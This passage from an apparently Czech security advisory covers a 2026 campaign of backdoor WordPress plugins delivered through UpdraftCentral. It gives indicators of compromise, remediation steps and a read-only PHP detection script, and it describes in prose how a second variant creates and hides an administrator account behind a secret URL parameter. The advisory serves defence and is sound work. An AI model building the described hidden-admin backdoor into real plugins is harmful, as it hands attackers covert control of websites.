style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 hlavn\u00edho souboru<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Dal\u0161\u00ed vzorky prvn\u00ed varianty n\u00e1m poslaly jin\u00e9 ob\u011bti a dal\u0161\u00ed n\u00e1zvy uv\u00e1d\u00ed Patchstack:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, autor \u201eCopperForge WP\u201c, u\u017eivatel s e-mailem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 hlavn\u00edho souboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, verze 2.6.7, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li>podle Patchstacku nap\u0159\u00edklad \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c a \u201eWp Forge\u201c, celkem 99 n\u00e1zv\u016f<\/li>\n<\/ul>\n<p>Spole\u010dn\u00e9 znaky:<\/p>\n<ul>\n<li>IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent p\u0159esn\u011b <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, po\u017eadavek <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>v logu UpdraftCentral sonda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> a o n\u011bkolik hodin pozd\u011bji <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>popis pluginu \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n<li>u\u017eivatel s e-mailem na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> a zobrazovan\u00fdm jm\u00e9nem \u201eSite Tools\u201c, s rol\u00ed Editor a opr\u00e1vn\u011bn\u00edmi <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>fat\u00e1ln\u00ed chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;T\u0159\u00edda&gt;::FIELD<\/code> a e-mail WordPressu o chyb\u011b v pluginu, kter\u00fd nezn\u00e1te<\/li>\n<\/ul>\n<h2 id=\"druh\u00e1-varianta-skryt\u00fd-administr\u00e1tor\">Druh\u00e1 varianta: skryt\u00fd administr\u00e1tor<\/h2>\n<p>Tuto variantu jsme sami neanalyzovali. Popis i indik\u00e1tory n\u00e1m poslal spr\u00e1vce zhruba 145 web\u016f, z nich\u017e \u00fato\u010dn\u00edk napadl t\u0159i. Na jeden nahr\u00e1l variantu popsanou v\u00fd\u0161e, na dva dal\u0161\u00ed jin\u00fd plugin. Patchstack tuto variantu ve sv\u00e9 anal\u00fdze zat\u00edm neuv\u00e1d\u00ed.<\/p>\n<ul>\n<li>N\u00e1zvy: \u201eSrc Lab\u201c (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, autor \u201eWPBridge\u201c, verze 3.0.0) a \u201eRender Helper 232b\u201c (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, verze 3.7.9).<\/li>\n<li>Popis: \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c Pro zakryt\u00ed plugin opravdu p\u0159id\u00e1 denn\u00ed cron, kter\u00fd ma\u017ee expirovan\u00e9 transienty, a filtr pro jQuery na str\u00e1nk\u00e1ch AMP.<\/li>\n<li>Spou\u0161t\u011b\u010d: parametr s n\u00e1zvem z 12 hex znak\u016f a 32znakov\u00fd token, nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. Re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> vytvo\u0159\u00ed <strong>administr\u00e1tora<\/strong> (nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170@example.com<\/code> nebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684@example.com<\/code>), re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> p\u0159ihl\u00e1s\u00ed n\u00e1v\u0161t\u011bvn\u00edka do tohoto \u00fa\u010dtu. Bez parametru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> ho p\u0159ihl\u00e1s\u00ed jako <strong>prvn\u00edho existuj\u00edc\u00edho administr\u00e1tora webu<\/strong>.<\/li>\n<li>ID vytvo\u0159en\u00e9ho \u00fa\u010dtu ukl\u00e1d\u00e1 do volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>.<\/li>\n<li>\u00da\u010det skr\u00fdv\u00e1: h\u00e1\u010dek <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> ho vy\u0159ad\u00ed ze seznamu u\u017eivatel\u016f a filtr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code> sn\u00ed\u017e\u00ed po\u010det administr\u00e1tor\u016f o jednoho. V administraci ho tedy neuvid\u00edte.<\/li>\n<li>Nem\u00e1 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. P\u0159i deaktivaci sma\u017ee jen volbu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li>Doru\u010den\u00ed je stejn\u00e9 jako u prvn\u00ed varianty, p\u0159es sondu a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, z IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18. 10. 23:39 UTC, render-helper-232b 19. 10. 0:03 UTC).<\/li>\n<\/ul>\n<p>Spr\u00e1vce neuv\u00e1d\u00ed, \u017ee by tato varianta m\u011bla stejnou chybu jako prvn\u00ed, proto je t\u0159eba po\u010d\u00edtat s t\u00edm, \u017ee funguje. Na jeho webech ji \u00fato\u010dn\u00edk nepou\u017eil: nevznikla volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, \u017e\u00e1dn\u00fd \u00fa\u010det ani ciz\u00ed relace.<\/p>\n<p>Jak ji naj\u00edt: v souborech plugin\u016f hledejte \u201eImproves cron tasks efficiency\u201c nebo \u201ekeep service accounts out of the main user list\u201c a u\u017eivatele kontrolujte p\u0159\u00edmo v tabulce <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_users<\/code>, ne p\u0159es administraci. N\u00e1\u0161 kontroln\u00ed skript ve verzi 2 d\u011bl\u00e1 oboj\u00ed. V access logu hledejte po\u017eadavky s parametrem z 12 hex znak\u016f:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep -E &#39;\\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<h2 id=\"co-d\u011blat-kdy\u017e-ho-najdete\">Co d\u011blat, kdy\u017e ho najdete<\/h2>\n<ol type=\"1\">\n<li>Pokud jste to je\u0161t\u011b neud\u011blali, zru\u0161te spojen\u00ed s UpdraftCentral podle postupu v \u010d\u00e1sti \u201eCo ud\u011blat hned\u201c. Jinak m\u016f\u017ee \u00fato\u010dn\u00edk poslat opravenou verzi backdooru.<\/li>\n<li>Plugin deaktivujte a p\u0159esu\u0148te mimo webov\u00fd adres\u00e1\u0159. Pokud si ho chcete nechat jako d\u016fkaz, nema\u017ete ho p\u0159es administraci, proto\u017ee <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> sma\u017ee jeho volby.<\/li>\n<li>Sma\u017ete volbu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>.<\/li>\n<li>Zkontrolujte u\u017eivatele kontroln\u00edm skriptem n\u00ed\u017ee. Pokud backdoor fungoval, tedy jeho \u00fa\u010det existuje nebo se v access logu objevil po\u017eadavek s jeho parametrem, pova\u017eujte web za pln\u011b kompromitovan\u00fd. \u00dato\u010dn\u00edk mohl nahr\u00e1t dal\u0161\u00ed pluginy nebo webshell a zm\u011bnit soubory \u010di datab\u00e1zi. Web obnovte ze z\u00e1lohy z doby p\u0159ed 17. \u0159\u00edjnem, porovnejte soubory s \u010distou instalac\u00ed a projd\u011bte v\u0161echny u\u017eivatele s opr\u00e1vn\u011bn\u00edmi nav\u00edc.<\/li>\n<li>Zm\u011b\u0148te hesla administr\u00e1tor\u016f a k \u00fa\u010dtu UpdraftCentral Cloud, ukon\u010dete v\u0161echna p\u0159ihl\u00e1\u0161en\u00e1 sezen\u00ed a zapn\u011bte dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed.<\/li>\n<li>Zva\u017ete, zda vzd\u00e1lenou spr\u00e1vu pot\u0159ebujete. Pokud ano, kl\u00ed\u010d vytvo\u0159te pod \u00fa\u010dtem, kter\u00fd nem\u00e1 pr\u00e1va instalovat pluginy, pokud je na d\u00e1lku nepot\u0159ebujete. Na webu C \u00fatok zastavila pr\u00e1v\u011b tato n\u00e1hoda.<\/li>\n<\/ol>\n<h2 id=\"kontroln\u00ed-skript\">Kontroln\u00ed skript<\/h2>\n<p>Skript zkontroluje p\u011bt v\u011bc\u00ed: zda je web p\u0159ipojen\u00fd k UpdraftCentral, co web p\u0159es UpdraftCentral p\u0159ijal, zda jsou v adres\u00e1\u0159\u00edch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> soubory backdooru, zda jsou v datab\u00e1zi jeho volby a zda existuje jeho \u00fa\u010det nebo jin\u00fd u\u017eivatel bez role administr\u00e1tora s opr\u00e1vn\u011bn\u00edmi <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> \u010di <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>. Verze 2 zachyt\u00ed i druhou variantu: hled\u00e1 jej\u00ed soubory a volbu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, u\u017eivatele \u010dte p\u0159\u00edmo z datab\u00e1ze, tak\u017ee jejich skr\u00fdv\u00e1n\u00ed neobejde, a upozorn\u00ed na administr\u00e1tory vytvo\u0159en\u00e9 od 17. 10.<\/p>\n<p>Na webu A po odstran\u011bn\u00ed backdooru vyp\u00ed\u0161e:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Skript si m\u016f\u017eete st\u00e1hnout i p\u0159\u00edmo:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 skriptu: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0<\/code>. Cel\u00fd k\u00f3d:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n    if ( &#39;ALERT&#39; === $level ) $alerts++;\n    if ( &#39;WARN&#39; === $level ) $warnings++;\n    echo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n    foreach ( $keys as $id =&gt; $key ) {\n        $report( &#39;WARN&#39;, sprintf(\n            &#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n            $id,\n            isset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n            isset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n        ) );\n    }\n} else {\n    $report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n    $message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n    $agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n    $when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n    $ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n    if ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n        $log_hits++;\n    } elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n        $report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n        $log_hits++;\n    } elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n        $log_hits++;\n    }\n}\nif ( ! $log_hits ) $report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins.\n$plugin_hits = 0;\nforeach ( array( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39;, WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ) as $pattern ) {\n    foreach ( (array) glob( $pattern ) as $file ) {\n        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n        $template = false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n            || false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n            || false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n            || ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n            || ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n        if ( $template ) {\n            $report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file&quot; );\n            $plugin_hits++;\n        }\n    }\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$options = $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$&#39;&quot; );\nforeach ( $options as $name ) $report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\/\/ The second variant stores the ID of its hidden administrator in &lt;slug&gt;_uid.\n$uids = $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$&#39;&quot; );\nforeach ( $uids as $o ) {\n    $u = ctype_digit( (string) $o-&gt;option_value ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n    $bad = $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email );\n    $report( $bad ? &#39;ALERT&#39; : &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} = {$o-&gt;option_value}&quot; . ( $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39; ) . ( $bad ? &#39;&#39; : &#39;. Check that a plugin you know uses it.&#39; ) );\n}\nif ( ! $options &amp;&amp; ! $uids ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant hides its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name = &#39;Site 